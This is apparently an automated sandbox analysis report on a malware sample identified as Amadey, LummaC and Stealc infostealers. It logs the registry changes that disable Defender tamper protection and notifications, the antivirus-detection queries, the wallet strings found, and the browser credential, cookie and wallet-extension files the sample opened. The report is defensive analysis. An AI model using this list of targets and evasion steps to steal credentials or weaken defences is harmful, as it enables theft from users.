Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000006.00000003.1417623422.0000000001030000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2228469014.0000000001492000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2240918439.000000000148F000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2228881792.0000000001493000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2256349384.0000000001493000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2240270680.0000000001492000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2256247986.0000000001492000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2383498002.0000000001492000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006E8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 12.2.skotes.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.GQIHH842FUSCNH01PBIJ.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1727985312.00000000008C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1687526478.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.2448606708.0000000000171000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1732805446.00000000008C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1692122509.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1663554694.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2406500630.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1954885956.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1707779280.0000000000CE1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 2332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 6120, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 40.0.num.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.ea19c894e7.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.JSB9K8LR5IJBR9A62C6KA1RW.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000003.1854235695.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1912431700.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.2317388418.0000000000AA1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1906278770.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2240323623.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2195926648.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2357078140.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JSB9K8LR5IJBR9A62C6KA1RW.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea19c894e7.exe PID: 4332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: df757a3a2c.exe, 00000014.00000003.2141996499.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binances
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
